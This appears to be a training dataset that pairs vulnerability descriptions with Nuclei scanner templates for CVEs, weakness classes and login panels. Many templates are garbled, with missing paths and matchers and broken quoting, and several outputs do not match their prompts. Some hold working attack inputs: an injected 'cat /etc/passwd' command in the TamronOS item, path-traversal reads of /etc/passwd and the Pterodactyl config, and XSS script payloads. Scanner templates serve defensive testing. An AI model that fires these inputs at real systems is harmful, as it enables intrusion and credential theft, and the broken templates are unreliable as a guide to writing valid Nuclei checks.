Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: secui-waf-detect

info:
  name: SECUI WAF Panel - Detect
  author: gy741
  severity: info
  description: SECUI WAF panel was detected.
  tags: tech,panel,secui,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/login/favicon.ico"
    matchers:
      - type: dsl


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: sensu-panel

info:
  name: Sensu by Sumo Logic Login Panel - Detect
  author: ja1sh
  severity: info
  description: Sensu by Sumo Logic login panel was detected.
  tags: panel,sensu,sumo,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Sensu"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-47945

Input:
Title: Path Traversal in thinkphp thinkphp
Summary: ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
Vulnerability Type: Path Traversal
Severity: critical
Affected Products: thinkphp thinkphp
Indicators: error, vulnerability detected

Output:
id: CVE-2022-47945

info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  tags: cve,cve2022,thinkphp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"
    matchers:
      - type: word
        words:
          - "Call Stack"
          - "class="trace"
        part: body
        condition: and
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template for: Azure Cosmos DB Automatic Failover Not Enabled

Input:
Title: Azure Cosmos DB Automatic Failover Not Enabled
Summary: Azure Cosmos DB Automatic Failover Not Enabled. Ensure that your Microsoft Azure Cosmos DB accounts are using the Automatic Failover feature in order to enable resource replication and fault tolerance at the account level. Automatic failover allows Azure Cosmos DB to failover to the Azure cloud region with the highest failover priority when the source region becomes unavailable, without any additional action from the application or the user. The Cosmos DB account must have two or more regions co
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-cosmosdb-auto-failover-missing

info:
  name: Azure Cosmos DB Automatic Failover Not Enabled
  author: princechaddha
  severity: high
  description: Ensure that your Microsoft Azure Cosmos DB accounts are using the Automatic Failover feature in order to enable resource replication and fault tolerance at the account level. Automatic failover allows Azure Cosmos DB to failover to the Azure cloud region with the highest failover priority when the source region becomes unavailable, without any additional action from the application or the user. The Cosmos DB account must have two or more regions configured in order to enable the feature.
  tags: cloud,devops,azure,microsoft,cosmosdb,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: UFIDA NC NCMessageServlet - Deserialization RCE Detection

Input:
Title: UFIDA NC NCMessageServlet - Deserialization RCE Detection
Summary: UFIDA NC NCMessageServlet - Deserialization RCE Detection. UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on kno
Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: yonyou-nc-ncmessageservlet-rce

info:
  name: UFIDA NC NCMessageServlet - Deserialization RCE Detection
  author: SleepingBag945
  severity: critical
  description: UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on known exploit points and repair some exploit chain dependencies. The possibility of similar problems occurring in the system in the future is still high.
  tags: yonyou,rce,deserialization,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: or


Instruction: Generate a Nuclei template for CVE-2016-10033

Input:
Title: Vulnerability (CWE-88) in phpmailer_project phpmailer and others
Summary: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
Vulnerability Type: Vulnerability (CWE-88)
Severity: critical
Affected Products: phpmailer_project phpmailer, wordpress wordpress, joomla joomla\!
Indicators: error, vulnerability detected

Output:
id: CVE-2016-10033

info:
  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
  tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "wp-login.php?checkemail=confirm"
        part: header
      - type: status
        status:
          - 302


Instruction: Generate a Nuclei template for: Wuzhicms Security Checks

Input:
Title: Wuzhicms Security Checks
Summary: Wuzhicms Security Checks. A simple workflow that runs all Wuzhicms related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wuzhicms-workflow

info:
  name: Wuzhicms Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Wuzhicms related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Automatic Upgrades Not Enabled for Vertex AI Notebooks

Input:
Title: Automatic Upgrades Not Enabled for Vertex AI Notebooks
Summary: Automatic Upgrades Not Enabled for Vertex AI Notebooks. Ensure that automatic upgrades for Vertex AI Workbench notebook instances are enabled to get the latest features, performance improvements, and security updates without manual intervention. Once auto-upgrades are enabled, Vertex AI Workbench will check, during a recurring time period that you specify, whether your notebook instances can be upgraded, and if so, the service will upgrade your instances.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: gcloud-vertexai-auto-upgrades

info:
  name: Automatic Upgrades Not Enabled for Vertex AI Notebooks
  author: princechaddha
  severity: medium
  description: Ensure that automatic upgrades for Vertex AI Workbench notebook instances are enabled to get the latest features, performance improvements, and security updates without manual intervention. Once auto-upgrades are enabled, Vertex AI Workbench will check, during a recurring time period that you specify, whether your notebook instances can be upgraded, and if so, the service will upgrade your instances.
  tags: cloud,devops,gcp,gcloud,vertexai,security,upgrades,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-33174

Input:
Title: Vulnerability (CWE-863) in powertekpdus basic_pdu_firmware and others
Summary: Power Distribution Units running on Powertek firmware (multiple brands) before 3.30.30 allows remote authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
Vulnerability Type: Vulnerability (CWE-863)
Severity: critical
Affected Products: powertekpdus basic_pdu_firmware, powertekpdus pm_pdu_firmware, powertekpdus piml_pdu_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2022-33174

info:
  name: Powertek Firmware <3.30.30 - Authorization Bypass
  author: pikpikcu
  severity: high
  description: Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext.
  tags: cve2022,cve,powertek,auth-bypass,powertekpdus,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<sys.passwd>"
          - "<sys.su.name>"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Improper Neutralization of Script-Related HTML Tags in a Web Page

Input:
Title: Improper Neutralization of Script-Related HTML Tags in a Web Page (CWE-80)
Summary: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
Vulnerability Type: Improper Neutralization of Script-Related HTML Tags in a Web Page
Severity: medium
Indicators: vulnerability detected, error

Output:
id: curcy-xss

info:
  name: WordPress CURCY - Multi Currency for WooCommerce <2.1.18 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress CURCY - Multi Currency for WooCommerce 2.1.18 does not escape some generated URLs before outputting them back in attributes, leading to reflected cross-site scripting.
  tags: wp-plugin,xss,wp,wordpress,authenticated,curcy,wpscan,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "wc-reports&a\"><script>alert(1)</script>">All"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: virustotal

info:
  name: Virustotal User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Virustotal user name information check was conducted.
  tags: osint,osint-misc,virustotal,discovery

http:
  - method: GET
    path:
      - "https://www.virustotal.com/gui/user/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "USER PROFILE"
        part: body


Instruction: Generate a Nuclei template for: MoinMoin wiki detect

Input:
Title: MoinMoin wiki detect
Summary: MoinMoin wiki detect. Detects MoinMoin Wiki. Tags: tech, moin, moinmoin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: moinmoin-detect

info:
  name: MoinMoin wiki detect
  author: cyllective
  severity: info
  description: Detects MoinMoin Wiki
  tags: tech,moin,moinmoin,wiki,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "MoinMoin Powered"
          - "Python Powered"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-22897

Input:
Title: SQL Injection in apollotheme ap_pagebuilder
Summary: A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: apollotheme ap_pagebuilder
Indicators: error, vulnerability detected

Output:
id: CVE-2022-22897

info:
  name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
  author: mastercho
  severity: critical
  description: A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
  tags: time-based-sqli,cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect OS Command Injection

Input:
Title: OS Command Injection (CWE-78)
Summary: The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it coul
Vulnerability Type: OS Command Injection
Severity: critical
Indicators: error

Output:
id: tamronos-rce

info:
  name: TamronOS IPTV/VOD - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: TamronOS IPTV/VOD contains a remote command execution in the 'host' parameter of the /api/ping endpoint.
  tags: tamronos,rce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Command Injection

Input:
Title: Command Injection (CWE-77)
Summary: The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attac
Vulnerability Type: Command Injection
Severity: medium
Indicators: vulnerability detected, error

Output:
id: CNVD-2019-32204

info:
  name: Fanwei e-cology <=9.0 - Remote Code Execution
  author: daffainfo
  severity: critical
  description: Fanwei e-cology <=9.0 is susceptible to remote code execution vulnerabilities. Remote attackers can directly execute arbitrary commands on the target server by invoking the unauthorized access problem interface in the BeanShell component. Currently, the security patch for this vulnerability has been released. Please take protective measures as soon as possible for users who use the Fanwei e-cology OA system.
  tags: cnvd,cnvd2019,fanwei,rce,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex


Instruction: Generate a Nuclei template for CVE-2024-45409

Input:
Title: Vulnerability (CWE-347) in onelogin ruby-saml and others
Summary: The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response. An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system. This vulnerability is fixed in 1.17.0 and 1.12.3.
Vulnerability Type: Vulnerability (CWE-347)
Severity: critical
Affected Products: onelogin ruby-saml, omniauth omniauth_saml, gitlab gitlab
Indicators: error, vulnerability detected

Output:
id: CVE-2024-45409

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2019-11580

Input:
Title: Unknown Vulnerability in atlassian crowd
Summary: Atlassian Crowd and Crowd Data Center had the pdkinstall development plugin incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x), from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: atlassian crowd
Indicators: error, vulnerability detected

Output:
id: CVE-2019-11580

info:
  name: Atlassian Crowd and Crowd Data Center - Unauthenticated Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Atlassian Crowd and Crowd Data Center is susceptible to a remote code execution vulnerability because the pdkinstall development plugin is incorrectly enabled in release builds.    Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center. All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
  tags: cve,cve2019,packetstorm,kev,atlassian,rce,intrusive,unauth,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "CVE-2019-11580"
        part: body_2


Instruction: Generate a Nuclei template for: Azure Storage Static Website Configuration Review

Input:
Title: Azure Storage Static Website Configuration Review
Summary: Azure Storage Static Website Configuration Review. Ensure that all the Microsoft Azure Storage accounts configured to host static websites are regularly reviewed for security and compliance purposes. Upon enabling this rule on your Cloud Conformity console, you must specify the storage account or the list of storage accounts that are expected to host static content (HTML, CSS, JavaScript, and image files).

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: azure-storage-static-website-review

info:
  name: Azure Storage Static Website Configuration Review
  author: princechaddha
  severity: medium
  description: Ensure that all the Microsoft Azure Storage accounts configured to host static websites are regularly reviewed for security and compliance purposes. Upon enabling this rule on your Cloud Conformity console, you must specify the storage account or the list of storage accounts that are expected to host static content (HTML, CSS, JavaScript, and image files).
  tags: cloud,devops,azure,microsoft,storage-account,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-29004

Input:
Title: Cross-Site Scripting (XSS) in phpgurukul e-diary_management_system
Summary: Diary Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Name parameter in search-result.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: phpgurukul e-diary_management_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-29004

info:
  name: Diary Management System 1.0 - Cross-Site Scripting
  author: TenBird
  severity: medium
  description: Diary Management System 1.0 contains a cross-site scripting vulnerability via the Name parameter in search-result.php.
  tags: cve2022,cve,xss,authenticated,edms,phpgurukul,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Serach Result Against "<script>alert(document.domain);</script>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: blue-ocean-excellence-lfi

info:
  name: Blue Ocean Excellence - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Blue Ocean Excellence is vulnerable to local file inclusion.
  tags: blue-ocean,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=../../../../../etc/passwd"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: /etc/hosts File Read/Write Check

Input:
Title: /etc/hosts File Read/Write Check
Summary: /etc/hosts File Read/Write Check. The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: rw-hosts-file

info:
  name: /etc/hosts File Read/Write Check
  author: songyaeji
  severity: high
  description: The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.
  tags: local,linux,hosts,file,audit,kisa

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SonarQube Security Checks

Input:
Title: SonarQube Security Checks
Summary: SonarQube Security Checks. A simple workflow that runs all SonarQube related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: sonarqube-workflow

info:
  name: SonarQube Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all SonarQube related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-49132

Input:
Title: Code Injection in CVE-2025-49132
Summary: Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel's server, read credentials from the Panel's config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.
Vulnerability Type: Code Injection
Severity: critical
Indicators: error, vulnerability detected

Output:
id: CVE-2025-49132

info:
  name: Pterodactyl Panel - Remote Code Execution
  author: darses
  severity: critical
  description: Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.
  tags: pterodactyl,cve,cve2025,rce,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "{"app":{"version":"
          - ""key":"base64{{"
        part: body
        condition: and


Instruction: Generate a Nuclei template for: Apache Hbase Unauth

Input:
Title: Apache Hbase Unauth
Summary: Apache Hbase Unauth. Apache Hbase is exposed.. Tags: apache, unauth, misconfig
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: apache-hbase-unauth

info:
  name: Apache Hbase Unauth
  author: pikpikcu
  severity: medium
  description: Apache Hbase is exposed.
  tags: apache,unauth,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/conf"
    matchers:
      - type: word
        words:
          - "<name>hbase.defaults.for.version</name>"
          - "<source>hbase-default.xml</source>"
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: wadl-api

info:
  name: WADL API - Detect
  author: 0xrudra,manuelbua
  severity: info
  description: WADL API was detected.
  tags: exposure,api,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/application.wadl"
      - "{{BaseURL}}/application.wadl?detail=true"
      - "{{BaseURL}}/api/application.wadl"
      - "{{BaseURL}}/api/v1/application.wadl"
      - "{{BaseURL}}/api/v2/application.wadl"
    matchers:
      - type: word
        words:
          - "This is simplified WADL with user and core resources only"
          - "http://jersey.java.net"
          - "http://wadl.dev.java.net/2009/02"
  - method: OPTIONS
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/api/v1"
      - "{{BaseURL}}/api/v2"
    matchers:
      - type: word
        words:
          - "This is simplified WADL with user and core resources only"
          - "http://jersey.java.net"
          - "http://wadl.dev.java.net/2009/02"


Instruction: Generate a Nuclei template for: IBM Operational Decision Manager Panel - Detect

Input:
Title: IBM Operational Decision Manager Panel - Detect
Summary: IBM Operational Decision Manager Panel - Detect. IBM Operational Decision Manager panel was detected.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: ibm-odm-panel

info:
  name: IBM Operational Decision Manager Panel - Detect
  author: DhiyaneshDK,righettod
  severity: info
  description: IBM Operational Decision Manager panel was detected.
  tags: panel,ibm,login,detect,decision-center,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/decisioncenter/login"
    matchers:
      - type: word
        words:
          - "<title>Decision Center | Business Console</title>"
          - "<h1 class="title">Decision Center | Business Console</h1>"
          - "com/ibm/rules/decisioncenter/setup/Login"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Hunk Companion Detection

Input:
Title: Hunk Companion Detection
Summary: Hunk Companion Detection. Tags: tech, wordpress, wp-plugin
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: wordpress-hunk-companion

info:
  name: Hunk Companion Detection
  author: invisiblethreat
  severity: info
  description: Hunk Companion Detection
  tags: tech,wordpress,wp-plugin,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hunk-companion/readme.txt"
    matchers:
      - type: dsl
      - type: regex
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: amazon-docker-config

info:
  name: Dockerrun AWS Configuration Page - Detect
  author: pdteam
  severity: medium
  description: Dockerrun AWS configuration page was detected.
  tags: config,exposure,aws,devops,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Dockerrun.aws.json"
    matchers:
      - type: word
        words:
          - "AWSEBDockerrunVersion"
          - "containerDefinitions"
        condition: and


Instruction: Generate a Nuclei template for CVE-2025-2563

Input:
Title: Unknown Vulnerability in wpeverest user_registration_\&_membership
Summary: The User Registration & Membership  WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges
Vulnerability Type: Unknown Vulnerability
Severity: high
Affected Products: wpeverest user_registration_\&_membership
Indicators: error, vulnerability detected

Output:
id: CVE-2025-2563

info:
  name: User Registration & Membership <= 4.1.1 - Unauthenticated Privilege Escalation
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: The User Registration & Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.
  tags: cve,cve2025,wp,wordpress,wp-plugin,user-registration,privilege-escalation,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "success_message_positon"
          - "{{username}}"
          - ""success":true"
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "New member has been successfully created."
          - "member_id"
          - ""success":true"
        part: body
        condition: and
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Howdy,"
          - ">Select {{username}}<"
        part: body
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: cisco-systems-login

info:
  name: Cisco Systems Login Panel - Detect
  author: dhiyaneshDk,idealphase
  severity: info
  description: Cisco Systems login panel was detected.
  tags: panel,cisco,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Cisco Systems Login"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: WebTitan Cloud Panel - Detect

Input:
Title: WebTitan Cloud Panel - Detect
Summary: WebTitan Cloud Panel - Detect. WebTitan Cloud is a cloud-based web filtering solution that monitors, controls, and protects users and businesses online. It blocks malware, phishing, viruses, ransomware, and malicious sites.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: webtitan-cloud-panel

info:
  name: WebTitan Cloud Panel - Detect
  author: ritikchaddha
  severity: info
  description: WebTitan Cloud is a cloud-based web filtering solution that monitors, controls, and protects users and businesses online. It blocks malware, phishing, viruses, ransomware, and malicious sites.
  tags: panel,webtitan,cloud,detect,titanhq,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.php"
    matchers:
      - type: word
        words:
          - "<title>WebTitan Cloud"
          - "alt="WebTitan Cloud Logo"
          - "title="WebTitan"
        part: body
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2010-1957

Input:
Title: Path Traversal in thefactory com_lovefactory
Summary: Directory traversal vulnerability in the Love Factory (com_lovefactory) component 1.3.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
